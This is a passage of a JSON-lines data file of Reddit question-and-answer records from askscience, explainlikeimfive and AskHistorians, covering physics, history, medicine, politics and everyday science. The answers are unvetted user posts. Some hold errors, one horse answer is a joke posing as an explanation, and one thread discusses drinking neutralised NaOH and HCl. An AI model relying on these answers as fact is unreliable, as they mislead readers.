volume and don't occupy space. Photons are local excitations of a field, but you can think of them as a wave in a pool. Can a pool have too many waves? When two waves are at the same spot, they interact and interfere, but both are still there.\n\nSo if you had a box of perfect mirrors and a source of light inside it, you would have it bouncing around eternally, with more and more and more photons inside but never having too much.\n\nHowever, in our world, there are no perfect mirrors. Whenever light reflects out of something, a portion of it is reflecting but another portion os absorbed and turned into heat. So if you had a real box of mirrors with a source of light inside, you would notice it becoming ever so slightly hotter, as part of that light is absorbed and heats up the box.", "Matter takes up space because the atoms interact with each other, resulting in a repulsive force when the atoms are close together.  This keeps atoms at least a certain distance from one another, so they fill up space.  Light particles (photons) do not interact with other photons.  They do not apply any forces on one another, so do not care how \"close together they are\" and do not fill up space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "31paaq", "title": "Why do we measure culture shifts in decades?", "selftext": "The Roarin' Twenties, the psychedelic 60s, the cheesy 80s, the 90s kids, it seems like we, Americans, categorize culture trends in increments of 10 years. Are culture changes always fitted so neatly into these segments? Or is it just easier to categorize.. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31paaq/why_do_we_measure_culture_shifts_in_decades/", "answers": {"a_id": ["cq3yq9q"], "score": [3], "text": ["To answer your title question, simply because it's easier that way. The decimal system operates on 10s, so we have decades, centuries, and millenia. When noticing change in history, whether it be from social, economic, political, or other causes, it is easy to point to a decade and say \"The Sixties was when this changed.\" It works as a general framework for looking at periods of time, and because it's a simple counting system, it's easily adopted to general usage.\n\nI believe that also answers your second question somewhat. In general, cultural changes don't fit neatly into periods like this. Also, in my opinion, there was an attempt to force nicknames on the later decades of the twentieth century, purely because of the earlier ones being so well known, and the later generations feeling a need for identity. However, I wouldn't let that necessarily diminish the view of those decades, as the Roaring Twenties and the Sixties were also key to identity. As for cultural changes and how they fit into the frame, each decade is approached differently.\n\nThe twenties are generally considered to be 1920-1929(and then there are the oddballs who suggest other measurements). The twenties get their nickname as the 'roaring' decade from the lifestyle that dominate images of this period. Parties, raucous behaviour, new fashions that challenged the old, and new forms of music all contributed to this. The ostentatious lifestyle was limited though. It wasn't available to the working classes, and the middle class wouldn't have felt the full effect either. It was a lifestyle reserved for the upper crust of American and European society. The roaring twenties don't completely fill the decade though. They're framed themselves by major events: at the start, the end of the First World War; and at the finish, the Great Depression. Because of this, the twenties are often observed to be a period that was somewhat romanticized by later years. It was a decade of wealth and peace, isolated between the worst economic disaster in the modern era, and the largest war the world had ever seen. It's easy to see how those who came after longed for the return of the glamour of the period from ~1919-29, and ended up referring to it with such an exciting nickname. \n\nThe sixties are quite different again. Using the same framework of decade measurement, you'd assume it was from 1960-69, and no more. But in reality the movements and culture that we associate with the sixties doesn't fit that well into such a tight constraint. Different historians have different opinions. There are hundreds of books written about the period, and they all have an opinion of the start and finish dates. Terry Anderson's book *The Sixties* covers the period from 1960-73. The December 1969 issue of *Life* magazine(the last issue of the numerical decade), said that the period could be seen in two parts, beginning with an \"energetic shift from the calm of the late 1950s\", suggesting a slightly earlier beginning. Arthur Marwick, in his book *The Sixties*(I know, I know. Historians have a knack for being unimaginative when it matters) opens with an introduction titled \"Was There a Cultural Revolution c.1958-c.1974?\" Eric Foner begins his chapter on the Sixties in *The Story of American Freedom* with the story of Rosa Parks, suggesting a start date in 1955. He finishes by noting that the sixties \"overspilled its chronological boundaries\", and that \"It was in the early 1970s that movements born in the late sixties reached their peak of militancy\", giving as examples the gay liberation movement and the American Indian Movement. While most of the key events of the Sixties happened within the bounds of 1960-69, many of them had their beginnings in the late fifties and ended in the early or mid seventies. Because of this, it's generally suggested that a more accurate name is \"the Long Sixties\", encompassing the entire period, from the rise of liberalism and the New Left through to the end of the Vietnam War.\n\n**Sources:**\n\nEric Foner, *The Story of American Freedom*.\n\nTerry H. Anderson, *The Sixties*.\n\nArthur Marwick, *The Sixties*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ugl4f", "title": "As we know them today, when and why did \"salads\" become a thing?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ugl4f/as_we_know_them_today_when_and_why_did_salads/", "answers": {"a_id": ["co8bt7w"], "score": [10], "text": ["hi! fyi, you can get started on this post\n\n* [What is the history of salad?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/17ljv4/what_is_the_history_of_salad/"]]}
{"q_id": "f3emzp", "title": "how long does purell have to be on your hands to fully kill the germs?", "selftext": "If you wash your hands with Purell, then wash your hands with soap and water 5 minutes afterwards, did you wash off/undo the Purell? Just wondering how long the Purell has to be on your hands to kill the germs. Is it possible to wash it off?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f3emzp/eli5_how_long_does_purell_have_to_be_on_your/", "answers": {"a_id": ["fhi9gqr", "fhiahux", "fhigw1u"], "score": [4, 7, 2], "text": ["You're getting ride of more chemicals and germs properly washing your hands with soap and water anyway, so in this situation it wouldn't really matter....\n\nSanitizers must be completely dry for them to have reached full efficacy. They don't remove heavy chemicals like pesticides or metals. \n\nOnly actually washing your hands (the movement) plus soap does that.", "You shouldn't be \"washing\" your hands with Purel. Purel is for use when you don't have access to soap/water. If you just wash your hands with soap/water, you're fine, if you are washing them properly. (Look up how to wash your hands as a nurse/dr to learn proper handwashing technique.) \n\nPurel is a solution that will kill bacteria WITHOUT the use of water. Rub it on your hands and let it dry. It is only during the drying process that the bacteria dies. Therefore, don't rinse it off or dry your hands with a towel or you don't allow the Purel to have a chance to work. Just let them dry naturally, and the bacteria dies as the Purel evaporates.", "Purell, foam, and regular hand sanitizer are all alchohol based. In most all cases an alchohol of at least 70% is enough to kill \"germs\" on immidiate contact. Some take a few seconds before they die in resilient cases. However everything should be dead by the time the sanitizer dries. If you are ALSO washing your hands after, you are just wasting time. Washing your hand is always better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4hcck1", "title": "why does steam seemingly rise from my body after a cold shower?", "selftext": "I took a very chilly shower this morning. While I was in the shower and after I left the shower, I noticed what looked like steam or smoke coming from my skin. *insert \"I'm smoking hot\" joke* Obviously this can't be steam or smoke, can it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hcck1/eli5_why_does_steam_seemingly_rise_from_my_body/", "answers": {"a_id": ["d2p0kjk"], "score": [2], "text": ["The water vapor you are seeing come off of you is not steam.  Steam is 100% invisible. You are seeing water that has been vaporized and then condensed back into water.\n\nAll steam is water vapor but not all water vapor is steam.  \n\nAll the molecules of water on your skin do not have the same energy.  Some get excited enough to vaporize and leave your skin.\n\nYou can think of it in the same way you would think about sweat.  Sweat evaporates from your body but it isn't boiling (and is not steam).  This water is doing the same way, the only difference is you are witnessing it condense back into water rather than just go away."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1mbgfq", "title": "how does echolocation work?", "selftext": "I was youtubing one day and I remember watching a video about a kid who lost his vision and developed really good echolocation. He could play sports and stuff.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mbgfq/how_does_echolocation_work/", "answers": {"a_id": ["cc7lpt3", "cc7lpuq"], "score": [2, 2], "text": ["It's the use of sound to figure out where an object is. So you send out a sound, it bounces off of that object, and the time it takes for the sound to reach you again is how far away the object is.\n\nSomeone'll probably have a more scientific explanation.", "hearing works because sound waves bounce on surfaces and ends in our ears, the same way light hits an object and goes back in our eyes. The theory behind echolocation is that the ear can \"see\" the same way our eyes see, using sound instead of light. bats and dolphins use this system often, but they have a completly different hearing system than humans. Echolocation in humans is very very rare"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4fuxh7", "title": "Do photons (ie. light) possess the property of inertia, or inertial mass?", "selftext": "It seems surprisingly difficult to find an authoritative (layperson-friendly) answer to this.  It's pretty obvious that a hypothetical box of photons will have a greater inertial mass than an identical-but-empty box, but can light be said to have inertia?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4fuxh7/do_photons_ie_light_possess_the_property_of/", "answers": {"a_id": ["d2c7nqv"], "score": [31], "text": ["To talk about photons/light, it is necessary to invoke relativity. We can't use Newtonian mechanics to answer questions about things that move at the speed of light.\n\nIn relativity, photons are massless particles, where 'mass' is defined to be 'the energy that an object has at rest.' Photons are never at rest, but by carefully considering how the energy of a photon depends on its momentum, one can see that they have no mass. (The argument is roughly that E^2 = m^2 c^4 + p^2 c^(2), and photons have E=pc, so they must have m=0.)\n\n[Sometimes, especially in older texts, one finds a different definition of mass which increases with speed. This is the 'relativistic mass' which is given by m=E/c^2 or m=m0/sqrt(1-v^(2)/c^(2)), where m0 is the 'rest mass' discussed above. Using the relativistic mass as what you mean by 'mass' makes certain equations agree with Newtonian mechanics at the cost of hiding what is really going on and making photons more confusing. The modern view is to forget about relativistic mass and always talk about rest mass.]\n\n'Inertia' is something that is harder to quantify for a photon. If you just say that inertia is 'resistance to changes in motion' then yes, photons have inertia, because they like to keep moving in straight lines just like massive particles. If you try to define inertia quantitatively, like by inertial mass, then you say it's the resistance to motion for a given force; but F=ma doesn't hold in relativity, so it doesn't follow that photons have no 'inertia' in this sense. Note that physicists never bother saying whether or not something has 'inertia'; they'll just tell you what its mass is. That's the number that matters.\n\nBy the way, in relativity, systems of multiple particles have a mass that is, in general, not equal to the sum of the masses of the constituents. So a box full of photons does, in fact, have nonzero mass even though each photon is massless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8jgc7j", "title": "what is the purpose of rubber bands for braces?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8jgc7j/eli5_what_is_the_purpose_of_rubber_bands_for/", "answers": {"a_id": ["dyzg7cb", "dyzgjbd", "dyzgldw", "dyznw2c"], "score": [4, 5, 23, 5], "text": ["The rubber bands apply a pulling force that slowly moves the teeth to a new position/alignment over a period of months.", "There\u2019s a couple different types of brackets of braces; traditional brackets and Damon brackets.  On traditional brackets, the colored rubber bands are looped in a figure 8 around little prongs on each bracket to hold the wire in place. On Damon brackets, they can be added as a colored decoration if you want, but they don\u2019t serve any real purpose. Unless you\u2019re talking about the rubber bands that realign the over- or under-bite, those are different. But the colored ones are just for looks or they hold the wire to the bracket itself ", "I had a variety of orthodontic devices that all served a specific purpose at different stages of correction.  After having braces on for a while they added rubber bands from top to bottom to correct an over bite and a little side to side correction. The orthodontist can play with how they're setup to apply the right amount of tension and in the right direction. Over time this moves your lower jaw to line up with the upper half.\n\n_URL_0_", "Additional question, how do braces like \u201cInvisalign\u201d accomplish the same task as the rubber bands? Or do they just not do that?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://ebraces.org/rubber-bands-for-braces/"], []]}
{"q_id": "43fqqc", "title": "how does itunes get track names for cds?", "selftext": "I know it accesses Gracenote, but how does it work?\n\nI just put in U2's Achtung Baby to rip, and it said the CD was either Achtung Baby, some metal album called Stone Sour, or Robert Downey Jr.'s The Futurist (I had no idea RDJ was a musician). \n\nDoing a quick Wikipedia search, I couldn't find any common writers, composers, lengths of songs, or even amount of songs on any three albums.\n\nHow did iTunes come up with three completely unrelated albums???", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43fqqc/eli5_how_does_itunes_get_track_names_for_cds/", "answers": {"a_id": ["czhv50y"], "score": [63], "text": ["It calculates a disc ID based on information on the disc, like how many songs, how long they are, etc. This provides a nearly unique number. But sometimes multiple CDs may, by sheer chance, get the same ID through the calculation. That's when you have to choose.\n\nThis [Wikipedia article](_URL_0_) gives a little more detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/CDDB#How_CDDB_works"]]}
{"q_id": "33pqoi", "title": "how does flonase work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33pqoi/eli5_how_does_flonase_work/", "answers": {"a_id": ["cqn8lcw", "cqn8rpt"], "score": [4, 6], "text": ["Essentially it is a steroidal, anti-inflammatory medicine.  \n\nIf you suffer from asthma or moderate to severe allergies it assists in reducing inflammation of the nasal or bronchial tubes, and encourages the narrowing of blood vessels raising blood pressure when taken.  ", "Flonase is fluticasone, a corticosteroid. Basically it's a synthetic derivative from a class of chemical naturally occurring in your body which function to regulate immune response, among other things. When you have a stuffy nose due to allergies is because your immune system is over-reacting to the allergen. Fluticasone acts on immune cells etc to reduce their activity (anti-inflammatory / immunosuppressant). \n\nFor example, the excess fluid is often caused by substances released by immune cells that cause your nose blood vessels to become leaky, so fluid can get out and clog up your nose. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4mz5mk", "title": "why did brock turner (stanford swimmer) only receive 6 months for being found guilty of sexual assault?", "selftext": "I'm not well-read on the prosecution process in the US, and I don't want to be presumptuous by jumping to conclusions.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mz5mk/eli5_why_did_brock_turner_stanford_swimmer_only/", "answers": {"a_id": ["d3zg25j", "d3zgmom"], "score": [4, 13], "text": ["The prosecution asked for a lengthy sentence. However, sentencing is frequently (but not always; some places have mandatory sentencing for some crimes) at the discretion of the judge. In this case, the judge felt that a six month sentence was appropriate. He cited Turner's age and lack of criminal history, as well as the fact that he still will be a lifelong registered sex offender. A lot of people disagree with this, which is why it's in the news ", "For a first time offender this isn't an uncommon sentence.\n\nMost of hubbub is about the Judge's reasoning, where he said a long prison sentence would affect his future...never mind how getting raped behind a dumpster affects her future.\n\nThen the guys awful father said it 6 mo was a big price to pay for \"20 minutes of action\" which has to be the worst choice of words imaginable.  He said that Brock has basically already paid the price because \"he wasn't his happy go lucky self anymore, and he didn't eat the same\".  Never mind of course the girl who was raped for 20 minutes behind a dumpster."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "h4kei", "title": "Is it really necessary/wise to get your skin checked for cancer once a year by a dermatologist?", "selftext": "I've seen people cite this and have read it in various media, for example here: _URL_0_ but it seems pretty egregious. What do the MDs think?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h4kei/is_it_really_necessarywise_to_get_your_skin/", "answers": {"a_id": ["c1sj9rj", "c1sjbn3", "c1sjc99", "c1sjekn"], "score": [13, 3, 8, 2], "text": ["Yes, I would suggest it. \"According to the American Cancer Society, skin cancer is the most common form of cancer in the U.S., accounting for more than one million cases each year. Many forms of skin cancer are easy to identify (since they're visible on the skin), and if caught early enough, can be treated.\"\n\nIn other words, if you have a pre-malignant lesion that has not yet progressed to melanoma (but may someday have the potential to), you can remove that lesion before it can transform into a lethal metastatic cancer (for which we do not have any effective treatments for other than the PLX-4032 compound currently in clincal trials).", "(1) How old? (2) How many bad sunburns in your life? (3) Any sign of unusual discoloration/skin texture/lesions? These would seem to be important questions.\n", "Probably depends on the person's risk factors, especially race and sun exposure. I think this is one of those \"ask your primary physician\" situations. \n\nThe rate of melanoma amongst asians and darker skinned people is an order of magnitude (10-20x) lower than white people. \n\n_URL_0_", "I don't think you can expect a good one-size-fits-all answer.  Did you have an age range in mind?"]}, "title_urls": [], "selftext_urls": ["http://www.cbsnews.com/2300-204_162-10006772.html"], "answers_urls": [[], [], ["http://www.cdc.gov/cancer/skin/statistics/race.htm"], []]}
{"q_id": "bzp2i0", "title": "why is the west (europe, america) so quiet about the protests in hong kong?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bzp2i0/eli5_why_is_the_west_europe_america_so_quiet/", "answers": {"a_id": ["equmwyx", "equokfw", "equtdlc", "equuskl", "equx03t", "eqv7ce2", "eqvopvx", "eqw4k8j"], "score": [12, 14, 4, 4, 74, 3, 16, 2], "text": ["I love Hong Kong and am all for these protests. I'd prefer it be independent or still under British rule rather than go v back to the PRC. \nTo answer your question though, I would guess the west is quiet for the same reasons it's quiet on Tibet and Taiwan...they don't want to upset China. Especially now as Trump continuously threatens, propses and enacts his horribly dumb tariffs.", "As a Hong Kong citizen, I need to agree with the fact that the western countries just want to solve this issue by using diplomatic strategies but not real actions. They can punish China by imposing economic sanctions, but they won\u2019t do so because China will do the same to them.", "Generally speaking they care about things that directly impact them and this is not one of them.\n\nSpecifically, two of the most powerful also have their own shit going on that sucks up a lot of the air for things like this. The US has Trump who is a nonstop story generator who is now looking more and more likely for impeachment and the UK has their whole Brexit fiasco still to deal with. \n\nMost Western countries aren't overly friendly with China but they represent an immense power both militarily and financially and they've proven recently that they're more than willing to throw their economic weight around if they feel slighted so world leaders are hesitant to \"take a stand\" against China.", "ELI5. China gives the West shiny new toys. And the West likes their toys too much to say anything. So China can be a bully and bully whomever they please because they know the West likes their toys too much to truly care about \"human rights.\" And so far, China has been right.", "When \"The West\" gets involved it gets criticized for sticking their nose where it does not belong. \n\nWhen \"The West\" does not get involved it gets criticized for not caring. \n\nGiven that the end results is the same (being criticized for what you do) it is simply more economical not to get involved in political situations where there is no natural resource (e.g. Oil) that you can then benefit from.", "Britain has a responsibility to stand up for the people of Hong Kong under the Sino-British joint declaration but they are too busy shooting themselves in the foot and squabbling over which clown gets to pull the trigger.", "Imagine if the UK commented and took a side in the Ferguson riots, the US took a side in the Anti-Brexit protests in London, Russia came out against the confirmation of Kavanagh to the Supreme Court, or Canada commented on the Yellow Vest protests. Although this is a major protest, it\u2019s a protest against the government making a law that may deteriorate peoples\u2019 rights. From a liberal democratic perspective, it might seem bad, but there are countless countries around the world where governments are doing far worse. Regardless of who is right and wrong, it\u2019s never a good idea for foreign powers to take a side on the internal affairs of another country. These are sovereign nations and countries try to avoid meddling in each others\u2019 affairs because they don\u2019t want other countries meddling in theirs, unless there is a *blatant* human rights issue going on. Even wrt to China, this protest is small beans compared to Xinjiang and Tibet. If a western power is going to confront China on one issue, why would a protest in Hong Kong be at the top of the list?\n\nNot to say that western powers *won\u2019t* comment on issues like these, but you have to consider the geopolitical implications. For example, NATO countries would have reason to comment on the affairs of other NATO countries if it involves the military, for example.", "Like there is a eli5 answer to a complex political question of bilateral relations of 2 or more countries. This is a fishing expedition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3uy1v1", "title": "Why don't I ever experience destructive interference of sound waves from two speakers?", "selftext": "I would think that, if I had two speakers on my desk, playing the same sound, the speakers would have a small chance to play the sound back just right so that they interfere and the sound is made quieter.  I would assume that the speakers are not playing the sound exactly synchronized all the time, so I would expect to hear (if not often, but at least every now and then) the sound canceling out and being quieter.  However, I have never experienced this, so why?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3uy1v1/why_dont_i_ever_experience_destructive/", "answers": {"a_id": ["cxiv59x", "cxiv6dy", "cxiwwfc", "cxj054i", "cxj9oti"], "score": [12, 20, 2, 3, 2], "text": ["You have two ears. The likelyhood that both would fall in a null point, and that the null point would be stable at those two points (reflections and stuff mess with that), is very low as the wavelength drops. The whole shebang is massively complicated by the rich spectral content of music and the complexity of the room/speaker system. That said, our ears are 1600hz apart, roughly, and you can probably guess 400Hz or lower (4x the distance between your ears) would start making that possibility likely. \n\nAnd if you play tones through a subwoofer and walk around a room, you'll find that this does indeed happen. Subwoofer positioning makes a *huge* impact on how it sounds in a room. Subs also usually have a phase reversing switch or even an analog phase control in an attempt to manage constructive and destructive interference. Most high end setups use two or more small subwoofers to spread the energy input around the room to try to avoid this, and *all* good setups *require* [careful sub positioning](_URL_2_) and measurement, because poor positioning can ruin low frequency response.\n\n\nIt also happens with higher frequencies, but the effects are much more complicated and difficult to hear without training. They show up in [objective measurement](_URL_1_) though. \n\nEDIT again: \n\nInterestingly, the interaction of multiple sources in the same speaker (IE, tweeter and midrange drivers, as well as the baffle they're mounted to) are a major concern for speaker designers. You could easily mount two drivers in such a way that the listener would hear a massive [hole](_URL_0_) at the crossover frequency.\n\nTL;DR:\nIt *does* happen. Play some tones, and move your head around while listening really, really carefully. Lower frequencies will be much more obvious.", "Maybe because you don't typically listen pure tones. For complex waves, like songs, or almost any real world audio, there are many frequencies present.  And so if some frequencies are occasionally attenuated, you may not really notice.\n \nTry it with pure tones. \u03bb = v / f, so for sound typically v = 343 m/s.  For a pure \"A\" at 440 Hz, I calculate \u03bb ~ .78 m.  \n\nYou should be able to set up this experiment with pure tones.  Make the distance from your ear to speakers 1 and 2 be d1, d2 and set d1-d2 = \u03bb/2.  (This can be done by placing the speakers \u03bb/2 apart and standing so that your position, and that of both speakers are collinear).", "What everybody else said, plus you are probably listening to stereo or panned signals, further compounding level/phase difference so you don't get perfect cancellation. Try listening to sine tones with the same intensity in both speakers (mono) and you will get closer to perfect cancellation with the exception of whatever the room acoustics are adding", "if you want to see what destructive interference sounds like and experiment around with the different effects get a couple of identical speakers. open up one speaker and reverse the + and - leads so that the speaker is 180 degrees out of phase. play some test tones - lower frequencies work better- you will notice that the sound is noticeably muffled vs when in phase. \n\nafter youve played around with that a bit, with the speakers still wired out of phase point them directly at each other and play sub bass test tones (below 80hz). when you do that you'll notice you hear the mechanical movement of the speaker cone and suspension moving over the tones being played.  \n\nafter you have played with that a bit google \" room loading a subwoofer\" hours of fun to be had.  ", "I owned Logitech speakers that had 4 satellites + 1 central satellite. I did not put them around the room, instead I put them all in front of me on the desk. I tried playing the same channel on two satellites that were close. And another channel on another two satellites. And there was some really weird stuff happening. Move your head a bit to one side and the sound was lower or louder. I don't know if that was my subjective feel, but maybe it was interference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.troelsgravesen.dk/CNO_files/spl_v1_1mtfb_phase.jpg", "https://www.google.com/search?q=room+response+measurement&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwiivov0gLrJAhUJ1mMKHRcqAVEQ_AUIBygB&amp;biw=1280&amp;bih=663", "https://www.google.com/search?q=importance+of+subwoofer+positioning&amp;ie=utf-8&amp;oe=utf-8"], [], [], [], []]}
{"q_id": "gdc1i", "title": "Would it be possible to drink a mixture of NaOH and HCl?", "selftext": "Say you took 0.01M of each and poured each simultaneously down a funnel. In theory wouldn't you just get salty water? Would the funnel just have to be really long? Obviously I'm not going to be trying this any time soon, but my roommates and I were discussing this and I wanted to see what everyone else thought.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gdc1i/would_it_be_possible_to_drink_a_mixture_of_naoh/", "answers": {"a_id": ["c1mqdgf", "c1mqdm7", "c1mqgfl", "c1mr0fu", "c1mrajn", "c1mrj20"], "score": [6, 24, 3, 2, 5, 6], "text": ["You would get salt water and lots and lots of heat.\n\nSo if that funnel were long enough to thoroughly mix the two, and allow them to cool off, yes, you could drink them.", "Disclaimer: NEVER EVER TRY THIS\r\n\r\nBut yes, you'd just get salty water. There are chemistry teachers who have done this as a demonstration.", "Assuming a normal glass funnel used in a lab, that itself should mix the stuff well enough for a titration to finish. Of course you better get some really metered pouring mechanism to make sure its all equal. \n\nIt will also depend on how much you're pouring. If you're just pouring a few ml, whatever remaining acid/base will get neutralized with the buffer from our saliva. But anything more can be quite tricky. We're talking about solutions of pH 2 and 12 here.", "Reaction kinetics would be quite fast. So while the the two fluids are getting down the funnel the reaction will be diffusion limited. \n\nIt would all depend on how steady you can actually keep the flow of each fluid, how much turbulence can you generate in the funnel and how the contact is made exactly. A configuration that imitates a static mixer would give a much faster mixing for example.\n\nIn case they are very concentrated acids, NaOH would be a bit viscous and that doesn't help with the mixing so it might be likely that you would need a longer tube.\n\n  ", "[This is a titration curve.](_URL_0_)\n\nWhat you are looking at is the pH of the solution as you add more volume of NaOH to HCl (x-axis).\n\nWhat you should be concerned about is how pH shoots up at a specific point.\n\nBasically a tiny bit over or a tiny bit below the perfect ratio = extreme pH levels.\n\nBut if you are using great measuring and dripping equipment - you might get some awesome salt water if you do it right.", " >  In theory wouldn't you just get salty water?\n\nIn theory, yes.\n\nIn practice, don't fucking do it. If for some random reason the two don't mix, and you receive either pure NaOH or pure HCl, you'll be in a heap of trouble.\n\nOr go ahead and do it, and may Lord Darwin have mercy upon your genes. Also, you'll end up on youtube, providing cheap entertainment for /r/WTF/ which is always a nice thing. (note to those on the left side of the IQ bell curve: that was sarcasm, don't do it)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://img.sparknotes.com/figures/3/3a5994498f24d59f5d5d762b40844a2a/sasb.gif"], []]}
{"q_id": "a37jsj", "title": "are humans heavy for horses to ride?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a37jsj/eli5_are_humans_heavy_for_horses_to_ride/", "answers": {"a_id": ["eb406mt", "eb419q2", "eb4a4ww"], "score": [20, 136, 13], "text": ["The first domesticated horses were not strong enough to carry a rider, that is why they were used to pull things like wagons and chariots. But over time we bred the larger and the stronger ones together till we developed breeds that were strong enough to carry a human. \n\nSo the answer is that around 6-8 thousand years ago they were not strong enough to carry humans, but in modernity they are unless the specific person is rather obese. ", "When a horse is riding, the effect of the weight of the human is negligible in terms of maneuverability and agility.  Although there are certainly other factors, such as the size of the horse (and presumably the ratio of the human and horse size - let's assume a standard size horse and typical sized human), the biggest effect comes not from the weight of the human, but from the weight of the horse, which usually squishes the human between the ground and the horse riding the human, crushing bones and flattening organs, which is why it's inadvisable to allow a horse to ride a human.", "Your average riding horse weighs 1,000-1,200 pounds.  Draft breeds are heavier, some up to 2,000 pounds.  For the sake of easy math let\u2019s say you have a relatively small horse of 1,000 pounds.  It\u2019s advised that it not carry more than about 20% of its own weight (200 lbs).  But that can vary based on the activity, too.  For a leisurely trail ride 25% might be ok.  For a more intense sport like show jumping maybe 15% is better for safety and performance. The bigger the rider, the heavier the horse would need to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "19y4yd", "title": "What is preventing us from engineering scuba gear that generates oxygen via electrolysis?", "selftext": "According to this wikipedia excerpt, it seems like it shouldn't be to hard.\n > A diver needs, on average, about 1 mole of oxygen gas per hour. Water contains 88% oxygen by weight, and as two molecules of water are necessary to produce diatomic oxygen gas, this means about 36 grams of water are needed to produce 32 grams of oxygen or one mole of oxygen gas. Assuming 1.0 as the density of water, 36 ml (about 2.5 tablespoons) of water needs to be converted to oxygen per hour, assuming 100% efficiency.\n ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19y4yd/what_is_preventing_us_from_engineering_scuba_gear/", "answers": {"a_id": ["c8sdojd", "c8seraz"], "score": [6, 2], "text": ["The information you have listed fails to include the crucial element: how much energy do you need to accomplish the electrolysis of 36 ml of water?  Without this value, it is impossible to say how hard it is.  And since you are working against the energy gradient by reversing the hydrogen combustion, it could be rather energy intensive.", "The rig would be heavy and not worth it. The amount of power needed is substantial, plus you'd still have to have a mixer gas of probably nitrogen and helium. Then you have cost and safety. There was another post about this topic here on reddit, I'd suggest you search for it to get some more info"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "46pnta", "title": "can mobile phones actually interfere with a flights navigation equipment? how?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46pnta/eli5_can_mobile_phones_actually_interfere_with_a/", "answers": {"a_id": ["d06y1rs", "d06yc48", "d0701cw", "d070f0w"], "score": [3, 21, 3, 2], "text": ["Not really, currently there are flights that offer in-flight WiFi. Maybe older phones or flight equipment worked around the same wireless spectrum and it did cause interference but this has been solved(or maybe it's a problem that didn't exist to begin with) ", "Almost certainly not.\n\nThe problem is that it takes time and money to go from \"almost certainly\" to \"definitely\".\n\nThe European aviation authorities have relatively recently allowed the use of mobile devices on aircraft, subject to each individual airline demonstrating to a satisfactory standard that the procedures they have in place, on their own specific aircraft, means that it can be done safely. I'm not sure how many airlines have actually gone through this process.\n\nMy experience is with light aircraft rather than airliners. I know that a mobile phone can often cause a beeping sound on the radio, similar to what you sometimes hear if your phone is near a set of speakers when you receive a call or a text, but I wouldn't say this affects the safety of the flight.", "The plane seams to work just fine in the ground next to a busy airport. Lost of cell phone use in there. It's not like being any closer is going to make a difference, not at the ranges we are talking. Also the aircraft is still exposed to a constant barrage of cell signals while in the air and near airports. Cell towers don't send there signal directly to ones phone. They radiate it out, so if the aircraft is within range of a cell tower it is being affected by everyone cell signal who is using the tower. \n\nAs for your gps on your phone: gps communication is one way anyone at any location on earth and close to it in space is receiving gps signals. (that's the whole point.)", "Under normal conditions, no.  However, electronic devices do not always work the way they are supposed to.  I have seen cell phones transmit outside their assigned bands, and I've seen cell phones transmit so hot that they were blasting side band noise that should never have happened.\n\nFurther, I've seen other things happen, because electronic devices sometimes malfunction.  I've had wifi devices go berzerk and start blasting noise in the 850 MHz cellular band.  I've seen a relatively new TV emit a spike so loud it blasted our cell phone tower right off the air. I've seen car security systems radiate.  I've had a police walkie-talkie start transmitting in our band instead of the police bands.\n\nA key to interfering with an aircraft's navigation system is something called passive intermodulation.  This is where signals mix at a non-linear device that acts like a diode and start creating new sum and difference frequencies.  Put a bunch of transmitters in a short metal tube and let them blast away, and the odds of creating a noise product that could get into the navigation receivers or the flight management system increase.\n\nThe thing to be aware of is that a simple interference with the aircraft navigation is unlikely to cause a huge problem in normal flight.  Most airplane crashes seem to have several things go wrong that overwhelm the pilot's ability to deal with them.  This is more likely to happen at takeoff and landing, when they are more focused with what they are doing.  \n\nSource:  I hunt interference into cell phone systems for a living."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
